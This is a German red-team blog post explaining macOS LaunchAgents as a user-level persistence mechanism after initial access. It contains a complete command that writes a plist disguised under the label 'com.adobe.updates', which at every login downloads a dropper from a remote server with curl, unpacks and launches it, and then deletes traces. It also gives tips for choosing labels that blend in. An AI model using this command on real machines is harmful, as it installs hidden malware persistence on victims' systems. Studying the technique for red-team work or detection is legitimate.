User-Level Persistence auf macOS via LaunchAgents

26. März 2026

Während Windows-Persistence-Techniken umfassend dokumentiert, analysiert und in nahezu jedem Red-Team-Guide oder Kurs behandelt werden, sieht die Lage im macOS-Umfeld deutlich karger aus.

Viele Blogposts beschreiben einzelne Mechanismen oberflächlich oder listen nur Persistence-Möglichkeiten für die jedoch Root-Zugriff erforderlich ist, dieser ist nach einer initialen Kompromittierung in der Regel jedoch nicht vorhanden.

LaunchAgents stellen hierbei eine der wenigen nativen macOS-Mechanismen dar, die:

  • ohne Root-Rechte implementiert werden können,
  • systemseitig legitim sind,
  • keinen Exploit oder Kernel-Zugriff benötigen,
  • und dennoch Reboots überstehen.

Was sind LaunchAgents

Mit macOS 10.4 wurde der Init-Prozess des Systems durch launchd abgelöst. Anders als andere UNIX Systeme, die mehrere Mechanismen wie cron, inetd oder xinetd nutzen, fasst macOS diese Aufgaben in einem einzigen Prozess zusammen (dennoch wäre cron, der trotzdem auf mac vorhanden ist, eine weitere Möglichkeit für Persistence – leider jedoch nicht ohne Nutzerinteraktion).

(Beispiel cron)

Ein zentraler Bestandteil dieses Mechanismus sind sogenannte LaunchAgents. Dabei handelt es sich um benutzerspezifische Konfigurationsdateien, über die Programme automatisiert gestartet werden können.

Sobald ein Benutzer sich anmeldet, wird eine eigene launchd-Instanz im User-Kontext gestartet. Diese Instanz lädt anschließend alle konfigurierten LaunchAgents aus den entsprechenden Verzeichnissen.

LaunchAgents Architektur

LaunchAgents sind Property-List-Dateien (plist), die im XML-Format definiert werden. Die Listen enthalten Konfigurationsparameter, anhand derer launchd dann entscheidet, wann und wie ein bestimmtes Programm ausgeführt wird.

Unterschieden wird hier zwischen zwei Verzeichnissen.

Der Ordner – mit dem auch wir uns im Zuge des Blogposts befassen – „~/Library/LaunchAgents/“ kann ausschließlich für einen Nutzer in dessen Kontext ein solches plist item anlegen.

Dahingegen kann über „/Library/LaunchAgents/“ Systemweit ein plist item angelegt werden das dann für alle Nutzer gilt. Für das Anlegen des Items werden jedoch Root-Rechte benötigt.

Interne Struktur eines LaunchAgents

Ein LaunchAgent besteht aus einer XML-Definition mit Schlüssel-Wert-Paaren. Technisch interessant ist dabei weniger das Format, sondern die semantische Bedeutung einzelner Keys, die bestimmen, wann und wie launchd einen Job ausführt.

Wichtige Parameter sind unter anderem:

  • Label:
    • Eindeutige Identifikation des Jobs innerhalb von launchd, die von launchd zur internen Zuordnung und Verwaltung des Jobs verwendet wird. Der Wert ist hierbei ein frei wählbarer String und wird konventionell im Reverse-DNS-Format gehalten, weshalb ein Label wie com.apple.softwareupdate oder com.microsoft.OneDrive bei einer Inspektion kaum auffällt.
  • ProgramArguments:
    • Array, dessen erster Eintrag immer der vollständige Pfad zur ausführbaren Datei ist, alle weiteren Einträge werden als Argumente übergeben. Ein typisches Beispiel wäre /bin/bash als erstes Element und -c sowie das eigentliche Kommando als Folgeeinträge.
  • RunAtLoad:
    • Boolean, der den Job unmittelbar beim Laden der plist triggert, z.B. beim Login des Nutzers oder nach manuellem launchctl load.
  • StartInterval:
    • Integer-Wert in Sekunden für periodische Ausführung. Ein Wert von 300 führt den Job alle fünf Minuten aus. Kombiniert mit RunAtLoad startet der Job beim Login und wiederholt sich anschließend im definierten Intervall.
  • KeepAlive:
    • Boolean-Wert, der angibt, ob der Job automatisch erneut gestartet wird. Bei true startet launchd den Prozess automatisch neu, sobald er beendet wird. Das passiert unabhängig davon, ob der Prozess abstürzt, vom Nutzer beendet oder durch ein externes Signal beendet wurde. Eine Entfernung ohne vorheriges launchctl unload ist damit weitgehend wirkungslos.
  • StandardOutPath / StandardErrorPath:
    • Definieren Pfade für stdout und stderr des Jobs, etwa /tmp/.update.log. Nützlich beim Debugging eigener Implants, hinterlassen jedoch Artefakte auf der Festplatte.

Persistence nach Initial Access

Nach erfolgreichem Initial Access, beispielsweise über einen als .app, oder .pkg getarnten Dropper, steht ein Angreifer typischerweise vor mehreren Optionen für Persistence.

Jedoch sind hier LaunchAgents besonders attraktiv, weil man für dieses wie bereits erläutert, je nach Pfad, keine Root-Rechte braucht.

Der operative Ablauf gliedert sich typischerweise in die folgenden logischen Komponenten:

Platzierung des Payloads

Die ausführbare Datei, über die der Access gehalten wird, wird in einem plausiblen Benutzerverzeichnis abgelegt, beispielsweise in „~/Library/Application Support/“

Für unseren Fall nutzen wir jedoch den „/tmp“ Ordner, da dieser nach einem Reboot geleert wird, was für unseren Zweck jedoch irrelevant, da der Dropper beim nächsten Login erneut heruntergeladen und ausgeführt wird.

Registrierung über LaunchAgent

Vor der Registrierung eines eigenen LaunchAgents empfiehlt es sich, zunächst die bereits vorhandenen Einträge im Zielverzeichnis zu prüfen. Einerseits um bestehende, potenziell systemkritische Jobs nicht zu überschreiben, andererseits um ein glaubwürdiges Label zu wählen, der sich unauffällig in das vorhandene Schema einfügt.

Sowohl Adobe als auch Google sind auf dem System bereits als Präfix vertreten, was uns eine plausible Grundlage für die Benennung unseres eigenen Eintrags bietet. Wir entscheiden uns für com.adobe.updates – ein Label, das im Kontext der vorhandenen Adobe-Prozesse nicht weiter auffällt.

Beispiel Payload

Wir erstellen nun eine plist, die beim Login des Nutzers automatisch ausgeführt wird und unseren Dropper vom Angreifer-Server herunterlädt, entpackt und startet. Der folgende Befehl legt das Verzeichnis an, schreibt die plist und registriert den Job in einem Schritt:

mkdir -p ~/Library/LaunchAgents && printf '%s\n' \ '<?xml version="1.0" encoding="UTF-8"?>' \ '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">' \ '<plist version="1.0"><dict>' \ ' <key>Label</key><string>com.adobe.updates</string>' \ ' <key>ProgramArguments</key><array>' \ ' <string>/usr/bin/env</string><string>bash</string><string>-c</string>' \ ' <string>cd /tmp && curl -fsSL https://example.hansesecure.com/launchd.app.zip -o launchd.zip && rm -rf launchd.app && unzip -q -o launchd.zip && rm launchd.zip && open /tmp/launchd.app</string>' \ ' </array>' \ ' <key>RunAtLoad</key><true/>' \ '</dict></plist>' > ~/Library/LaunchAgents/com.adobe.updates.plist && \ launchctl unload -w ~/Library/LaunchAgents/com.adobe.updates.plist 2>/dev/null && \ launchctl load -w ~/Library/LaunchAgents/com.adobe.updates.plist

Zunächst stellt mkdir -p ~/Library/LaunchAgents sicher, dass das Zielverzeichnis existiert. Das -p-Flag verhindert dabei einen Fehler, falls das Verzeichnis bereits vorhanden ist.

Anschließend wird über printf die plist-Datei zusammengesetzt und direkt nach ~/Library/LaunchAgents/com.adobe.updates.plist geschrieben. Gegenüber einem klassischen echo hat printf hier den Vorteil, dass Sonderzeichen und Zeilenumbrüche zuverlässiger verarbeitet werden.

Innerhalb der plist definiert der ProgramArguments-Block den auszuführenden Befehl:

Über curl wird der Dropper heruntergeladen, mit unzip entpackt und anschließend mittels open gestartet.

Zwischenzeitlich angelegte Dateien wie das ZIP-Archiv werden unmittelbar nach der Verarbeitung wieder gelöscht, um die Anzahl der hinterlassenen Artefakte möglichst gering zu halten.

Im letzten Abschnitt wird die plist-Datei bei launchd registriert. Das vorherige unload dient dabei als Absicherung: Falls bereits ein Job mit dem Label com.adobe.updates existiert, wird dieser zunächst sauber entfernt, bevor der neue Job über load -w registriert wird.

Das -w-Flag sorgt dafür, dass der Job nicht nur geladen, sondern dauerhaft als aktiv markiert wird und somit auch nach einem Neustart des Systems bestehen bleibt.

Fazit

LaunchAgents stellen einen besonders attraktiven Persistence-Mechanismus unter macOS dar, da sie ohne Root-Rechte auskommen und gleichzeitig systemseitig legitim wirken. Durch ihre flexible Konfiguration und die tiefe Integration in launchd ermöglichen sie eine unauffällige und robuste Aufrechterhaltung von Zugriff nach der initialen Kompromittierung. Entsprechend sollten sie sowohl von Red Teams gezielt genutzt als auch von Blue Teams verstärkt überwacht und geprüft werden.

Ähnliche Beiträge

After gaining my OSCP in June i decided to go deeper into exploitDev and shellcoding. And here we are, this [...]

9. Oktober 2017

Welcome back to my second post for the SLAE certification. Today we are going to build a reverse_shell shellcode and [...]

9. Oktober 2017

Ready for the next level? – Method to exploit software even with small space for shellcode: EggHunting The third task [...]

9. Oktober 2017

Hey ho, it’s time for some low-level shellcode encoding. After going through the encoder examples of the SLAE material i [...]

9. Oktober 2017